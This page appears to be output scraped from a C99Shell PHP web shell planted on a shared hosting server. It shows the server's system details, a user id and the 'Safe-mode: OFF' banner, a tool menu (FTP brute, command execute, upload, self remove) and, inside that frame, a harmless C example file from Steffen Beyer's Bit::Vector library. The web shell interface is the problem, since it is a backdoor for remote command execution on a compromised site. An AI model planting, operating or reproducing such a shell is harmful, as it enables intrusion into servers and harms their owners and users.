!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-Bit-Vector/examples/   drwxr-xr-x
Free 6181.87 GB of 6263.07 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     test.c (3.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

/*****************************************************************************/
/*                                                                           */
/*    Copyright (c) 2002 - 2013 by Steffen Beyer.                            */
/*    All rights reserved.                                                   */
/*                                                                           */
/*    This program is free software; you can redistribute it                 */
/*    and/or modify it under the same terms as Perl itself.                  */
/*                                                                           */
/*****************************************************************************/

/******************************************************/
/*                                                    */
/*  Example for using the BitVector.c library from C  */
/*                                                    */
/*  (Just for playing around; also shows how one can  */
/*   deal with error handling)                        */
/*                                                    */
/*  Copy ToolBox.h, BitVector.h and BitVector.o to    */
/*  this directory, then compile this file and link   */
/*  with BitVector.o, e.g. with                       */
/*                                                    */
/*           gcc -o test test.c BitVector.o           */
/*                                                    */
/******************************************************/

#include <stdio.h>
#include "ToolBox.h"
#include "BitVector.h"

void ListErrCode(ErrCode code)
{
    if (code) fprintf(stdout, "BitVector ErrCode %2d: %s\n", code, BitVector_Error(code));
}

void PrintErrorMessage(ErrCode code, char *name)
{
    if (code) fprintf(stdout, "Bit::Vector::%s(): %s\n", name, BitVector_Error(code));
}

#define FATAL_ERROR(name,code) \
{ fprintf(stderr, "Bit::Vector::" name "(): %s\n", BitVector_Error(code)); exit(code); }

int main(void)
{
    N_int bits = 5;
//  N_char x[] = "001010";  /* 10 */
    N_char x[] = "001x10";  /* 10 */
//  N_char y[] = "000100";  /*  4 */
//  N_char y[] = "000111";  /*  7 */
    N_char y[] = "001111";  /* 63 */
    wordptr X;
    wordptr Y;
    wordptr Z;
    ErrCode err;
    boolean ovrflw;
    boolean carry = false;

    ListErrCode( 0);
    ListErrCode( 1);
    ListErrCode( 2);
    ListErrCode( 3);
    ListErrCode( 4);
    ListErrCode( 5);
    ListErrCode( 6);
    ListErrCode( 7);
    ListErrCode( 8);
    ListErrCode( 9);
    ListErrCode(10);
    ListErrCode(11);
    ListErrCode(12);
    ListErrCode(13);
    ListErrCode(14);
    ListErrCode(15);
    ListErrCode(16);
    ListErrCode(17);
    ListErrCode(18);
    ListErrCode(19);
    ListErrCode(20);

    err = BitVector_Boot();
    if (err) FATAL_ERROR("Boot", err);

    printf("Number of bits in a WORD: %d\n", BitVector_Word_Bits());
    printf("Number of bits in a LONG: %d\n", BitVector_Long_Bits());

    X = BitVector_Create(bits, 1);
    if (X == NULL) FATAL_ERROR("Create", ErrCode_Null);

    err = BitVector_from_Bin(X, x);
    PrintErrorMessage(err,"from_Bin");

    Y = BitVector_Create(bits, 1);
    if (Y == NULL) FATAL_ERROR("Create", ErrCode_Null);

    err = BitVector_from_Bin(Y, y);
    PrintErrorMessage(err,"from_Bin");

    Z = BitVector_Create(bits, 1);
    if (Z == NULL) FATAL_ERROR("Create", ErrCode_Null);

    ovrflw = BitVector_add(Z, X, Y, &carry);

    printf("result of %s + %s is %s (carry = %d, overflow = %d)\n",
        BitVector_to_Dec(X),  /* Beware of the memory leaks here!  */
        BitVector_to_Dec(Y),  /* Should call "BitVector_Dispose()" */
        BitVector_to_Dec(Z),  /* on these strings after use!       */
        carry, ovrflw);

    err = BitVector_Multiply(Z, X, Y);

    printf("result of %s * %s is %s\n",
        BitVector_to_Dec(X),  /* Beware of the memory leaks here!  */
        BitVector_to_Dec(Y),  /* Should call "BitVector_Dispose()" */
        BitVector_to_Dec(Z)); /* on these strings after use!       */

    PrintErrorMessage(err,"Multiply");

    return(0);
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0109 ]--